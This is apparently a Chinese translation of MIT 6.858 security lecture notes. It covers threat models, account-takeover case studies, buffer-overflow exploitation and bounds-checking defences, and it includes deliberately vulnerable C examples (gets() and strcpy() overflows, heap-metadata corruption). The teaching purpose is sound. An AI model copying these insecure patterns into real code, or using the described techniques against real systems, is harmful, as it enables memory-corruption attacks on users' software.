MIT-6-858-计算机系统安全讲义-2014-秋季-全-

MIT 6.858 计算机系统安全讲义 2014 秋季(全)

译者:飞龙

协议:CC BY-NC-SA 4.0

MIT 6.858 计算机系统安全笔记 2014 秋季

2014 年由Nickolai Zeldovich 教授James Mickens 教授教授授课的 6.858 讲座笔记。这些讲座笔记略有修改,与 6.858 课程网站上发布的内容略有不同。

  • 1讲:介绍:什么是安全,意义何在,没有完美的安全,策略,威胁模型,假设,机制,缓冲区溢出

  • 2讲:控制劫持攻击:缓冲区溢出,栈金丝雀,边界检查,电子围栏,胖指针,影子数据结构,Jones & Kelly,松松边界检查

  • 3讲:更多松松边界和返回导向编程:边界检查的成本,不可执行内存,地址空间布局随机化(ASLR),返回导向编程(ROP),堆栈读取,盲目 ROP,小工具

  • 4讲:OKWS:特权分离,Linux 自主访问控制(DAC),UIDs,GIDs,setuid/setgid,文件描述符,进程,Apache web 服务器,chroot 监狱,远程过程调用(RPC)

  • 5讲:渗透测试 嘉宾讲座 由 Paul Youn,iSEC Partners

  • 6讲:Capsicum:混淆副手问题,环境权限,能力,沙盒,自主访问控制(DAC),强制访问控制(MAC),Capsicum

  • 7讲:Native Client (NaCl):沙盒化 x86 本机代码,软件故障隔离,可靠的反汇编,x86 分段

  • 8讲:Web 安全,第一部分:现代网络浏览器,同源策略,框架,DOM 节点,cookies,跨站请求伪造(CSRF)攻击,DNS 重绑定攻击,浏览器插件

  • 9讲:Web 安全,第二部分:跨站脚本(XSS)攻击,XSS 防御,SQL 注入攻击,Django,会话管理,cookies,HTML5 本地存储,HTTP 协议的歧义,隐蔽通道

  • 10讲:符号执行 嘉宾讲座 由 Armando Solar-Lezama 教授,MIT CSAIL

  • 11讲:Ur/Web 嘉宾讲座 由 Adam Chlipala 教授,MIT,CSAIL

  • 12讲:TCP/IP 安全:威胁模型,序列号和攻击,连接劫持攻击,SYN 洪水攻击,带宽放大攻击,路由

  • 13讲:Kerberos:Kerberos 架构和信任模型,票证,认证者,票证授予服务器,更改密码,复制,网络攻击,前向保密性

  • 14讲:ForceHTTPS:证书,HTTPS,在线证书状态协议(OCSP),ForceHTTPS

  • 15讲:医疗软件 嘉宾讲座 由 Kevin Fu 教授,密歇根大学

  • 16讲:时序攻击:侧信道攻击,RSA 加密,RSA 实现,模指数运算,赛里斯剩余定理(CRT),重复平方,蒙哥马利表示,卡拉茨巴乘法,RSA 蒙蔽,其他时序攻击

  • 17讲:用户认证:你拥有什么,你知道什么,你是谁,密码,挑战-响应,可用性,部署性,安全性,生物特征,多因素认证(MFA),万事达卡的 CAP 读卡器

  • 18讲:私密浏览:私密浏览模式,本地和网络攻击者,虚拟机级隐私,操作系统级隐私,浏览器实现了什么,浏览器扩展

  • 19讲:Tor 客座讲座,由 Nick Mathewson 主讲,Tor 项目

    • 2012 年的 6.858 课程笔记关于匿名通信:洋葱路由,Tor 设计,Tor 电路,Tor 流,Tor 隐藏服务,阻止 Tor,用餐密码学家网络(DC-nets)
  • 20讲:手机安全:Android 应用程序,活动,服务,内容提供者,广播接收器,意图,权限,标签,参考监视器,广播意图

  • 21讲:信息流跟踪:TaintDroid,Android 数据泄漏,信息流控制,污点跟踪,污点标志,隐式流,x86 污点跟踪,TightLip

  • 22讲:麻省理工学院信息服务与技术部 客座讲座,由 Mark Silis 和 David LaPorte 主讲,麻省理工学院信息服务与技术部

  • 23讲:安全经济学:网络攻击的经济学,垃圾邮件价值链,广告,点击支持,实现,CAPTCHA,僵尸网络,支付协议,道德

2015 年的新笔记

  • 8讲:英特尔软件保护扩展(SGX):隔离,Iago 攻击,飞地,证明,Haven

论文

我们阅读的论文列表(papers/):

  • 松松垮垮的边界检查

  • 盲目黑客

  • OKWS

  • 困惑的代理(或者为什么可能发明了能力)

  • 辣椒 (capabilities)

  • 本地客户端(沙箱化 x86 代码)

  • OWASP 前十名,最关键的 Web 应用程序安全风险

  • KLEE(符号执行)

  • Ur/Web(面向 Web 的函数式编程)

  • 回顾“TCP/IP 协议套件中的安全问题”

  • 凯伯罗斯:用于开放网络系统的认证服务

  • ForceHTTPs

  • 值得信赖的医疗设备软件

  • 远程时序攻击是可行的

  • 替代密码的探索

  • 私密浏览模式

  • Tor:第二代洋葱路由器

  • 了解 Android 安全

  • TaintDroid:一种用于智能手机实时隐私监控的信息流跟踪系统

  • 点击轨迹:垃圾邮件价值链的端到端分析

"新" 论文

其他论文

  • 赛里斯防火墙安全政策

介绍

注意:这些讲座笔记略有修改,来源于 2014 年 6.858 课程网站上发布的内容课程网站

什么是安全性?

  • 在对手存在的情况下实现某个目标。

    • 许多系统连接到互联网,而互联网上存在对手。

      • 因此,许多系统的设计可能需要考虑安全性。

      • 即,在有对手的情况下系统是否能正常工作?

  • 高层次的安全性思考计划:

    • 政策:您想要实现的目标。

      • 例如,只有艾丽丝应该读取文件F

      • 常见目标:保密性,完整性,可用性。

    • 威胁模型:对攻击者可能做什么的假设。

      • 例如可以猜测密码,但无法物理抓取文件服务器。

      • 最好假设攻击者可以做某事。

    • 机制:系统提供的旋钮,帮助维护政策。

      • 例如,用户帐户,密码,文件权限,加密。
    • 最终目标:在威胁模型内部,对手无法违反政策。

      • 请注意,目标与机制无关。
  • 为什么安全性很难?这是一个负面目标。

    • 对比:检查是否实现了积极目标很容易,例如,艾丽丝实际上可以读取文件F。更难的是检查没有可能的方式让艾丽丝读取文件F

      • 你甚至如何开始列举艾丽丝可能读取文件的所有可能方式?艾丽丝可以利用多少层次的漏洞来获取文件F的访问权限。
    • 需要保证政策,假设威胁模型。

    • 很难想象攻击者可能如何入侵的所有可能方式。

    • 现实的威胁模型是开放式的(几乎是负面模型)。

    • 最弱的环节很重要。

    • 迭代过程:设计,根据需要更新威胁模型等。

如果我们无法实现完美的安全性,那有什么意义呢?

  • 在这门课程中,我们将推动每个系统的边界,看看它何时会崩溃。

    • 每个系统可能都会有一些导致妥协的破坏点。

    • 这并不一定意味着系统没有用:这取决于上下文。

    • 重要的是了解系统能做什么,以及系统不能做什么。

  • 实际上,必须管理安全风险与收益。

    • 更安全的系统意味着某些妥协的风险(或后果)更小。

    • 不安全的系统可能需要手动审计以检查攻击等。

    • 攻击成本越高,将有更多的对手被阻止。

  • 更好的安全性通常使新功能变得实用和安全。

    • 假设你想在系统上运行某些应用程序。

    • 大公司有时会禁止用户在其台式机上安装未经批准的软件,部分原因是出于安全考虑。

    • 浏览器中的 Javascript 是隔离的,这使得运行新代码/应用程序而无需手动检查/批准变得可以接受(或虚拟机,或本地客户端,或更好的操作系统隔离机制)。

    • 同样,VPN 使得减轻允许员工从互联网的任何地方连接到公司网络的风险变得实际可行。

出现问题的原因之一:政策问题

  • 例子: 萨拉·佩林的电子邮件账户

    • 雅虎电子邮件账户有用户名、密码和安全问题。

    • 用户可以通过提供用户名和密码登录。

    • 如果用户忘记密码,可以通过回答安全问题来重置。

    • 安全问题有时比密码更容易猜到。

    • 一些对手猜到了萨拉·佩林的高中、生日等信息。

    • 政策总结为:可以使用密码或安全问题登录。

      • (无法强制执行“只有用户忘记密码,然后...”)
  • 例子: 马特·霍南在亚马逊、苹果、谷歌等处的账户

    • Gmail 密码重置:向备用电子邮件地址发送验证链接。

      • 谷歌贴心地打印了备用电子邮件地址的一部分。

      • 马特·霍南的备用地址是他的苹果@me.com账户。

    • 苹果密码重置:需要账单地址,信用卡的最后 4 位数字。

      • 地址可能很容易获取,但如何获取用户信用卡号的 4 位数字?
    • 亚马逊:可以向账户添加信用卡,无需密码。

    • 亚马逊密码重置:提供用户的任意一张信用卡号。

      • 哈哈。
    • 亚马逊:不会打印信用卡号... 但会打印最后 4 位数字!

  • 例子: Twitter 的@N账户劫持。

    • 对于合法用户来说,有时很难证明他们拥有一个账户!
  • 如何解决?

    • 仔细思考政策声明的含义。

    • 一些政策检查工具可以帮助,但需要一种指定不良内容的方法。

    • 在分布式系统中很困难:不知道每个人在做什么。

出了什么问题 #2:威胁模型/假设问题

  • 例子: 未考虑人为因素。

    • 钓鱼攻击。

    • 用户收到一封要求续订电子邮件账户、转账或...的电子邮件。

    • 技术支持接到一个声音很像用户的电话要求重置密码。

  • 例子: 计算假设随时间变化。

    • 麻省理工学院的 Kerberos 系统使用 56 位 DES 密钥,自 20 世纪 80 年代中期以来。

    • 当时,似乎可以假设对手无法检查所有 2⁵⁶ 个密钥。

    • 不再合理:现在大约需要 100 美元

      • 几年前,6.858 期末项目表明可以在一天内获取任何密钥。
  • 例子: 所有 SSL 证书 CA 都是完全受信任的。

  • 例子:假设你的硬件是可信的。

  • 例子:假设密码学中有良好的随机性。

  • 例子:颠覆军事操作系统安全。

    • 在 80 年代,军方鼓励研究安全操作系统。

    • 操作系统被破坏的一个意想不到的方式:

      • 对手获取了开发系统的访问权限,修改了操作系统代码。
  • 例子:颠覆防火墙。

    • 对手可以连接到防火墙后面的不安全无线网络。

    • 对手可以欺骗防火墙后面的用户来禁用防火墙。

      • 可能只需点击链接http://firewall/?action=disable就足够了。

      • 或者也许在 CNN.com 购买广告,指向那个 URL(有效)?

  • 例子:断开与互联网连接的机器安全吗?

    • Stuxnet 蠕虫通过 USB 驱动器上的特制文件传播。
  • 如何解决?

    • 更明确的威胁模型,以了解可能存在的弱点。

    • 更简单、更通用的威胁模型。

    • 更好的设计可能会消除/减少对某些假设的依赖。

      • 例如,不依赖完全信任 CA 的替代信任模型。

      • 例如,不容易受到钓鱼攻击的身份验证机制。

问题出在哪里 #3:机制问题--漏洞

  • 安全机制中的漏洞(例如,操作系统内核)会导致漏洞。

  • 如果应用程序正在执行安全性,应用程序级别的错误会导致漏洞。

  • 例子:苹果的 iCloud 密码猜测速率限制。

    • 人们经常选择弱密码;通常可以在几次尝试(1K-1M)后猜中。

    • 大多数服务,包括苹果的 iCloud,会对登录尝试进行速率限制。

    • 苹果的 iCloud 服务有许多 API。

    • 一个 API(“查找我的 iPhone”服务)忘记实现速率限制。

    • 对手可以多次尝试猜测密码。

      • 可能和他们发送数据包的速度一样快:>> M/day.
  • 例子:花旗集团信用卡网站缺失访问控制检查。

    • 花旗银行允许信用卡用户在线访问他们的账户。

    • 登录页面要求输入用户名和密码。

    • 如果用户名和密码正确,将重定向到账户信息页面。

    • 账户信息页面的 URL 包含一些数字。

    • 结果这些数字与用户的账号相关。

    • 更糟糕的是,服务器没有检查您是否已登录到该帐户。

    • 对手尝试不同的数字,获取不同人的账户信息。

    • 可能是错误的威胁模型:与现实世界不匹配?

      • 如果对手通过浏览器浏览网站,系统是安全的。

      • 如果对手自己合成新的 URL,系统就不安全了。

    • 很难说开发人员是否有错误的威胁模型,或者有错误的机制。

  • 例子: 安卓的 Java SecureRandom弱点导致比特币被盗。

    • 拥有所有者私钥的任何人都可以花费比特币。

    • 许多安卓上的比特币钱包应用使用了 Java 的SecureRandom API。

    • 结果系统有时忘记了给 PRNG 种子!

    • 结果,一些比特币密钥很容易被猜到。

    • 对手搜索可猜测的密钥,花费任何相应的比特币。

  • 例子: 沙箱中的漏洞(NaCl,Javascript,Java 运行时)。

    • 允许对手逃离隔离,执行他们本不应执行的操作。
  • 例子: Moxie 的 SSL 证书名称检查漏洞

    • 空字节与长度编码。
  • 例子: 缓冲区溢出(见下文)。

案例研究:缓冲区溢出

  • 考虑一个网络服务器。

    • 通常情况下,网络服务器的代码负责安全性。

    • 例如,检查可以访问哪些 URL,检查 SSL 客户端证书,..

    • 因此,服务器代码中的漏洞可能导致安全妥协。

  • 威胁模型是什么,策略是什么?

    • 假设对手可以连接到网络服务器,提供任何输入。

    • 策略有点模糊:只执行程序员意图的操作?

    • 例如,不希望对手窃取数据,绕过检查,安装后门。

  • 考虑来自某个网络服务器的简化示例代码:

webserver.c:

 int read_req(void) {
        char buf[128];
        int i;
        gets(buf);
        i = atoi(buf);
        return i;
    } 
  • 编译器在内存布局方面生成了什么?

    • x86 栈:

      • 栈向下增长。

      • %esp指向栈上最后(最底部)有效的内容。

      • %ebp指向调用者的%esp值。

read_req() stack layout:

 +------------------+
    entry %ebp ----> | .. prev frame .. |
                     |                  |
                     |                  |
                     +------------------+
    entry %esp ----> |  return address  |
                     +------------------+
    new %ebp ------> |    saved %ebp    |
                     +------------------+
                     |     buf[127]     |
                     |       ...        |
                     |      buf[0]      |
                     +------------------+
                     |        i         |
    new %esp ------> +------------------+
                     |       ...        |
                     +------------------+ 
  • 调用者的代码(比如,main()):

    • 调用read_req()

read_req()的汇编代码:

 push    %ebp
    mov     %esp -> %ebp
    sub     168, %esp        # stack vars, etc
    ...
    mov     %ebp -> %esp
    pop     %ebp
    ret 
  • 对手如何利用这段代码?

    • 提供长输入,覆盖超出缓冲区的栈上数据。

    • 有趣的数据:返回地址,被ret使用。

    • 可以将返回地址设置为缓冲区本身,在其中包含一些代码。

  • 对手如何知道缓冲区的地址?

    • 如果一台机器的内存是另一台的两倍会发生什么?

    • 幸运的是对手,虚拟内存使事情更加确定。

    • 对于给定的操作系统和程序,地址通常是相同的。

  • 如果栈向上增长,而不是向下,会发生什么?

    • 查看gets()的栈帧。
  • 一旦对手执行代码,他们可以做什么?

    • 使用进程的任何权限。

    • 经常利用溢出来更容易地进入系统。

      • 最初在 Unix 上,运行 shell /bin/sh(因此称为“shell 代码”)。
    • 如果进程以 rootAdministrator 运行,可以做任何事情。

    • 即使不是,仍然可以发送垃圾邮件,读取文件(Web 服务器,数据库),..

    • 可以攻击防火墙后面的其他机器。

  • 为什么程序员会写出这样的代码?

    • 旧代码,未暴露在互联网上。

    • 程序员没有考虑安全性。

    • 许多标准函数曾经是不安全的(strcpygetssprintf)。

    • 即使是安全版本也有陷阱(strncpy 不会在末尾加上空字符)。

  • 更一般地说,任何内存错误都可能转化为漏洞。

    • 在释放后继续使用内存(释放后使用)。

      • 如果写入,覆盖新的数据结构,例如函数指针。

      • 如果读取,可能会调用一个已损坏的函数指针。

    • 两次释放相同的内存(双重释放)。

      • 可能会导致 malloc() 之后再次返回相同的内存。
    • 将栈指针递减到栈的末尾之外,进入其他内存。

    • 一个字节的错误写入可能导致受损。

    • 甚至可能不需要覆盖返回地址或函数指针。

      • 可以足以读取敏感数据,如加密密钥。

      • 可以通过改变一些位来满足需求(例如int isLoggedInint isRoot)。

如何避免机制问题?

  • 减少安全关键代码的数量。

    • 不要依赖整个应用程序来执行安全性。

    • 将在实验 2 中进行。

  • 避免安全关键代码中的错误。

    • 例如,不要使用 gets(),而是使用 fgets() 可以限制缓冲区长度。

    • 使用常见、经过充分测试的安全机制("机制的经济性")。

    • 审计这些常见的安全机制(有很多动力这样做)。

    • 避免开发可能存在错误的新的一次性机制。

    • 良好的机制支持多种用途、策略(更有动力进行审计)。

  • 常见机制的示例:

    • 操作系统级别的访问控制(但是,通常可以更好)。

    • 网络防火墙(但是,通常可以更好)。

    • 加密,加密协议。

缓冲区溢出,松散的边界

注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站

缓冲区溢出攻击回顾

在上一讲中,我们看了执行缓冲区溢出攻击的基础知识。该攻击利用了几个观察结果:

  • 系统软件通常用 C 编写(操作系统、文件系统、数据库、编译器、网络服务器、命令外壳和控制台实用程序)

  • C 本质上是高级汇编语言,所以...

    • 暴露原始指针到内存

    • 不对数组执行边界检查(因为硬件不这样做,而 C 希望让你尽可能接近硬件)

  • 攻击还利用了关于 x86 代码如何工作的架构知识:

    • 栈增长的方向

    • 栈变量的布局(尤其是数组和函数的返回地址)

read_req.c:

 void read_req() {
      char buf[128];
      int i;
      gets(buf);
      //. . . do stuff w/buf . . .
    } 

编译器在内存布局方面生成了什么?x86 栈看起来像这样:

 %esp points to the last (bottom-most) valid thing on
  the stack.

  %ebp points to the caller's %esp value.

                     +------------------+
    entry %ebp ----> | .. prev frame .. |
                     |                  |  |
                     |                  |  | stack grows down
                     +------------------+  |
    entry %esp ----> |  return address  |  v
                     +------------------+
    new %ebp ------> |    saved %ebp    |
                     +------------------+
                     |     buf[127]     |
                     |       ...        |
                     |      buf[0]      |
                     +------------------+
    new %esp ------> |        i         |
                     +------------------+ 

对手如何利用这段代码?

  • 提供长输入,覆盖缓冲区后的栈数据。

  • 关键观察 1: 攻击者可以覆盖返回地址,使程序跳转到攻击者选择的位置!

  • 关键观察 2: 攻击者可以将返回地址设置为缓冲区本身,在其中包含一些 x86 代码!

攻击者在执行代码后可以做什么?

  • 利用进程的任何权限!如果进程以 root 或管理员身份运行,它可以在系统上做任何想做的事情。即使进程不以 root 身份运行,它也可以发送垃圾邮件、读取文件,有趣的是,攻击或破坏防火墙后面的其他机器。

  • 嗯,但为什么操作系统没有注意到缓冲区已经溢出?

    • 就操作系统而言,没有发生任何奇怪的事情!请记住,粗略地说,操作系统只在 Web 服务器进行 IO 或 IPC 时才被调用。除此之外,操作系统基本上只是坐下来让程序执行,依靠硬件页表防止进程篡改彼此的内存。然而,页表保护无法防止进程“针对自身”发起的缓冲区溢出,因为溢出的缓冲区、返回地址和所有相关内容都在进程的有效地址空间内。

    • 在本讲座的后面,我们将讨论操作系统可以采取的措施使缓冲区溢出更加困难。

修复缓冲区溢出

方法 #1: 避免 C 代码中的错误。

  • 难以或不可能实现。

  • 程序员应仔细检查缓冲区、字符串、数组等的大小。特别是,程序员应使用考虑到缓冲区大小的标准库函数(strncpy() 而不是 strcpy()fgets() 而不是 gets() 等)。

  • 现代版本的 gcc 和 Visual Studio 在程序使用不安全函数(如 gets())时会发出警告。一般来说,你不应该忽略编译器警告。 将警告视为错误!

  • 好处: 首先避免问题!

  • 坏处: 很难确保代码是无错误的,特别是如果代码库很大。此外,应用程序本身可能定义不使用fgets()strcpy()作为基本操作的缓冲区操作函数。

方法 2: 构建工具来帮助程序员找到错误。

  • 例如,我们可以使用静态分析在编译之前找到源代码中的问题。想象一下,如果你有这样一个函数:

foo.c:

 void foo(int *p) {
        int offset;
        int *z = p + offset;
        if(offset > 7){
            bar(offset);
        }
    } 
  • 通过静态分析控制流,我们可以知道 offset 在未初始化的情况下被使用。

  • if语句还限制了我们可能传播到 bar 的偏移量。

  • 我们将在后续讲座中更多地讨论静态分析。

  • 提供随机输入的“模糊器”可以有效地发现错误。请注意,模糊化可以与静态分析结合以最大化代码覆盖率!

  • 坏处: 很难证明完全没有错误,尤其是对于像 C 这样的不安全代码。

  • 好处: 即使是部分分析也是有用的,因为程序应该变得更少有错误。例如,松散的边界检查可能无法捕捉所有内存错误,但它可以检测到许多重要类型。

方法 3: 使用内存安全语言(JavaScript,C#,Python)。

  • 好处: 通过不向程序员暴露原始内存地址,并通过自动处理垃圾回收来防止内存损坏错误。

  • 坏处: 低级运行时代码确实使用原始内存地址。因此,运行时核心仍然需要正确。例如,堆喷射攻击

  • 坏处: 仍然有很多使用不安全语言(FORTRAN 和 COBOL)的遗留代码。

  • 坏处: 也许你需要访问低级硬件功能(例如,你正在编写设备驱动程序)

  • 坏处: 性能比调优良好的 C 应用程序差?

    • 过去是一个更大的问题,但硬件和高级语言变得更好了。

      • JIT 编译万岁!

      • asm.js的性能接近本机 C++性能的 2 倍!

      • 使用谨慎的编码来避免关键路径中的垃圾回收抖动。

      • 也许你是一个不懂得如何选择合适工具的坏人/ 语言沙文主义者。如果你的任务是 I/O 绑定的,原始计算速度就不那么重要了。另外,不要成为那个用 C 语言编写文本处理程序的笨蛋。

上述 3 种方法都是有效且广泛使用的,但在实践中缓冲区溢出仍然是一个问题。

  • 大量/复杂的用 C 语言编写的遗留代码非常普遍。

  • 即使是用 C/C++编写的新代码也可能存在内存错误。

尽管存在有缺陷的代码,我们如何减轻缓冲区溢出?

  • 在“传统”缓冲区溢出中发生了两件事:

    • 对手控制执行(程序计数器)。

    • 对手执行一些恶意代码。

  • 这两个步骤存在哪些困难?

    • 需要覆盖一个代码指针(稍后被调用)。常见目标是使用堆栈上的缓冲区的返回地址。在实践中,任何内存错误都可能起作用。函数指针,C++ vtables,异常处理程序等。

    • 需要一些有趣的代码在进程的内存中。这通常比#1 更容易,因为:

      • 在缓冲区中放置代码很容易,因此

      • 进程中已经包含了许多可能被利用的代码。

      • 然而,攻击者需要将这段代码放在可预测的位置,以便攻击者可以将代码指针设置为指向恶意代码!

缓解方法 1:金丝雀(例如,StackGuard,gcc 的 SSP)

  • 理念:覆盖代码指针是可以接受的,只要我们在调用之前捕捉到它。

  • 较早的一个系统:StackGuard

    • 在进入时在堆栈上放置一个金丝雀,在返回前检查金丝雀值。

    • 通常需要源代码;编译器插入金丝雀检查。

    • Q: 堆栈图中的金丝雀在哪里? A: 金丝雀必须放在堆栈上返回地址的“前面”,这样任何溢出重写返回地址也将重写金丝雀。

堆栈布局:

 |                  |
                     +------------------+
    entry %esp ----> |  return address  |    ^
                     +------------------+    |
    new %ebp ------> |    saved %ebp    |    |
                     +------------------+    |
                     |     CANARY       |    | Overflow goes
                     +------------------+    | this way.
                     |     buf[127]     |    |
                     |       ...        |    |
                     |      buf[0]      |    |
                     +------------------+
                     |                  | 
  • Q: 假设编译器总是将金丝雀设为 4 个字节的'a'字符。这有什么问题吗?

  • A: 对手可以在缓冲区溢出中包含适当的金丝雀值!

  • 因此,金丝雀必须要么难以猜测,要么可以容易猜测但仍然能够抵御缓冲区溢出。以下是这些方法的示例。

    • "终结符金丝雀":四个字节(0,CR,LF,-1)

    • 理念:许多 C 函数将这些字符视为终结符(例如,gets()sprintf())。因此,如果金丝雀与这些终结符之一匹配,那么进一步的写入将不会发生。

    • 在程序初始化时生成随机金丝雀:今天更常见(但是,你需要良好的随机性!)。

堆栈金丝雀不会捕捉到哪些类型的漏洞?

  • 在金丝雀之前覆盖函数指针变量。

  • 攻击者可以覆盖数据指针,然后利用它进行任意内存写入。

数据指针示例:

 int *ptr = ...;
    char buf[128];
    gets(buf);  // Buffer is overflowed, and overwrites ptr.
    *ptr = 5;   // Writes to an attacker-controlled address!
              // Canaries can't stop this kind of thing. 
  • 堆对象溢出(函数指针,C++ vtables)。

  • malloc/free溢出

malloc 示例:

 int main(int argc, char **argv) {
        char *p, *q;

        p = malloc(1024);
        q = malloc(1024);
        if(argc >= 2)
            strcpy(p, argv[1]);
        free(q);
        free(p);
        return 0;
    } 
  • 假设属于pq的两个内存块在内存中是相邻/附近的。

  • 假设mallocfree表示内存块如下:

malloc 内存块:

 +----------------+  
        |                |     
        |   App data     |     
        |                |      Allocated memory block
        +----------------+     
        |   size         |     
        +----------------+  

        +----------------+
        |   size         |
        +----------------+
        |  ...empty...   |
        +----------------+  
        |   bkwd ptr     |     
        +----------------+          
        |   fwd ptr      |      Free memory block
        +----------------+     
        |   size         |     
        +----------------+ 
  • 因此,在p的缓冲区溢出将覆盖q内存块中的大小值!为什么这是一个问题?

    • free()合并两个相邻的空闲块时,需要操作bkwdfwd指针...

    • ...并且指针计算使用大小来确定空闲内存块结构的位置!

free()内部:

 p = get_free_block_struct(size);
    bck = p->bk;
    fwd = p->fd;
    fwd->bk = bck;  // Writes memory!
    bck->fd = fwd;  // Writes memory! 
  • 空闲内存块表示为 C struct;通过破坏大小值,攻击者可以强制free()在位于攻击者控制的内存中的伪造struct上操作,并具有攻击者控制的值用于前向和后向指针。

  • 如果攻击者知道free()如何更新指针,他可以使用该更新代码将任意值写入任意位置。例如,攻击者可以覆盖返回地址。

    • 实际细节更加复杂;如果你对血腥细节感兴趣,请访问这里

    • 高层次的观点是,栈金丝雀不会阻止这种攻击,因为攻击者正在“越过”金丝雀并直接写入返回地址!

缓解方法 2: 边界检查

  • 总体目标: 通过检查指针是否在范围内来防止指针误用。

  • 挑战: 在 C 语言中,很难区分有效指针和无效指针。例如,假设一个程序分配了一个字符数组... char x[1024];

  • ... 以及该数组中的某个位置的指针,例如,char *y = &x[107];

  • 增加y以访问后续元素是否可以?

    • 如果x代表一个字符串缓冲区,也许是。

    • 如果x代表一个网络消息,也许不。

    • 如果程序使用联合体,情况会变得更加复杂。

联合体示例:

 union u{
        int i;
        struct s{
            int j;
            int k;
        };
    };

    int *ptr = &(u.s.k); // Does this point to valid data? 
  • 问题 是,在 C 语言中,指针不会编码关于该指针的预期使用语义的信息

  • 因此,很多工具不会尝试猜测这些语义。相反,这些工具的目标并不像“完全正确”的指针语义那样高远:这些工具只是强制执行堆对象和栈对象的内存边界。在高层次上,这是目标:

    • 对于从p派生出的指针p'p'只能被解引用以访问属于p的有效内存区域。
  • 强制执行内存边界是一个比强制“完全正确”指针语义的目标。程序仍然可以通过恶意方式践踏其内存而自掘坟墓(例如,在联合体示例中,应用程序可能会写入指针,尽管未定义)。

  • 然而,边界检查仍然很有用,因为它可以防止任意内存覆写。程序只能践踏其内存,如果该内存实际上已分配!这在 C 语言世界中被认为是进步。

  • 边界检查的一个缺点是通常需要对编译器进行更改,并且必须使用新编译器重新编译程序。如果只能访问二进制文件,则这是一个问题。

有哪些实现边界检查的方法?

边界检查方法 #1: 电子围栏

  • 这是一个旧方法,其优点在于简单。

  • 思路: 将每个堆对象与一个守卫页对齐,并使用页表确保对守卫页的访问导致故障。

电子围栏:

 +---------+
    | Guard   |
    |         |  ^
    +---------+  | Overflows cause a page exception
    |  Heap   |  |
    |  obj    |  |
    +---------+ 
  • 这是一种方便的调试技术,因为堆溢出会立即导致崩溃,而不是悄无声息地破坏堆并在未来某个不确定的时间导致失败。

  • 重要优势:无需源代码即可运行:无需更改编译器或重新编译程序!

    • 确实需要重新链接它们,以便它们使用实现电子围栏的新版本的malloc
  • 主要缺点:巨大的开销!每页只有一个对象,并且您有一个未用于“真实”数据的虚拟页面的开销。

  • 摘要:电子围栏可以作为调试技术很有用,并且可以防止堆对象的一些缓冲区溢出。然而,电子围栏无法保护堆栈,并且内存开销太高,无法在生产系统中使用。

边界检查方法#2:胖指针

  • 想法:修改指针表示以包含边界信息。现在,指针包括关于生存在该内存区域中的对象的边界信息。

示例:

 Regular 32-bit pointer  
     +-----------------+
     | 4-byte address  |
     +-----------------+

    Fat pointer (96 bits)
     +-----------------+----------------+---------------------+
     | 4-byte obj_base | 4-byte obj_end | 4-byte curr_address |
     +-----------------+----------------+---------------------+ 
  • 您需要修改编译器并重新编译程序以使用胖指针。编译器生成的代码会在它解引用地址超出自己的base ... end范围的指针时中止程序。

示例:

 int *ptr = malloc(sizeof(int) * 2);
        while(1){
            *ptr = 42;       <----------|
            ptr++;                      |
        }                               |
          ______________________________|
         |

    This line checks the current address of the pointer and
    ensures that it's in-bounds. Thus, this line will fail
    during the third iteration of the loop. 
  • 问题#1:检查所有指针解引用可能很昂贵。C 社区讨厌昂贵的东西,因为 C 就是关于速度速度速度。

  • 问题#2:胖指针与许多现有软件不兼容。

    • 你不能将胖指针传递给未修改的库。

    • 你不能在固定大小的数据结构中使用胖指针。例如,sizeof(that_struct)将会改变!

    • 对胖指针的更新不是原子的,因为它们跨越多个字。一些程序假设指针写入是原子的。

边界检查方法#3:影子数据结构

想法:使用影子数据结构来跟踪边界信息(Jones and KellyBaggy bounds)。

  • 对于每个分配的对象,存储对象的大小。例如:

    • 记录传递给 malloc 的值:

      • char *p = malloc(mem_size);
    • 对于静态变量,值由编译器确定:

      • char p[256];
    • 对于每个指针,我们需要对两个操作进行干预:

      1. 指针算术:char *q = p + 256;

      2. 指针解引用:char ch = *q;

    • Q: 为什么我们需要对解引用进行干预?不能只进行算术吗?

    • A: 无效指针并不总是一个错误!例如,数组最后一个元素之外的一个元素的指针可能被用作循环中的停止测试。应用程序还可以执行一些愚蠢的操作,如:

      • 模拟从 1 开始的数组

      • 计算 p+(a-b)为(p+a)-b

      • 生成稍后检查有效性的 OOB 指针

    • 因此,仅仅创建无效指针不应该导致程序失败。

    • Q: 为什么我们需要对算术进行干预?不能只进行解引用吗?

    • A: 干预算术是允许我们跟踪指针的来源并设置 OOB 位的原因。没有 OOB,我们将无法确定派生指针何时超出其基本对象的边界。

  • 挑战 1: 我们如何找到常规指针(即在边界内的指针)的边界信息?

    • 天真: 使用哈希表或区间树将地址映射到边界。

      • 好: 空间高效(仅存储正在使用的指针的信息,而不是所有可能的地址)。

      • 不好: 查找慢(每次查找多次内存访问)。

    • 天真: 使用数组存储每个内存地址的边界信息。

      • 好: 快速!

      • 不好: 内存开销很高。

  • 挑战 2: 我们如何强制越界指针解引用失败?

    • 天真: 对每个指针解引用进行检测。

      • 好: 哦,它有效。

      • 不好: 昂贵。我们必须为每次解引用执行额外的代码!

Baggy bounds 方法:5 个技巧

  • Trick 1: 将每个分配向上舍入为 2 的幂,并将分配的起始对齐到该 2 的幂。

  • Trick 2: 将每个范围限制表示为log_2(alloc_size)

    • 对于 32 位指针,只需要 5 位来表示可能的范围:我们只能分配 32 种不同大小的对象:2¹ = 2 字节,2² = 4 字节...,2³¹ 字节或 2³² 字节,并且我们存储分配大小的以 2 为底的对数,这是一个介于 1 和 32 之间的数字,因此我们只需要 5 位来表示它。
  • Trick 3: 在线性数组中存储限制信息:每个条目一个字节的快速查找。此外,我们可以使用虚拟内存按需分配数组!

  • Trick 4: 以插槽粒度(例如,16 字节)分配内存:更少的数组条目。

    • 这意味着最小分配大小为 16 字节

    • ...而且,由于指针将对齐到其分配大小边界,这意味着指针的最后 4 位都是零

示例:

 slot_size = 16

    p = malloc(16);  -->  table[p/slot_size] = 4;
    p = malloc(32);  -->  table[p/slot_size] = 5;
                     \->  table[(p/slot_size) + 1] = 5; 
  • Trick 4 (续):

    • 现在,给定一个已知的好指针p,和一个派生指针p',我们可以通过检查这两个指针的地址位中是否有相同的前缀,并且它们只在它们的e个最低有效位上有所不同,其中e等于分配大小的对数,来测试p'是否有效。

示例:

 C code
    ------ 
    p' = p + i;

    Bounds check
    ------------
    size = 1 << table[p >> log_of_slot_size];
    base = p & ~(size - 1);
    (p' >= base) && ((p' - base) < size)

    Optimized bounds check
    ----------------------
    (p^p') >> table[p >> log_of_slot_size] == 0 
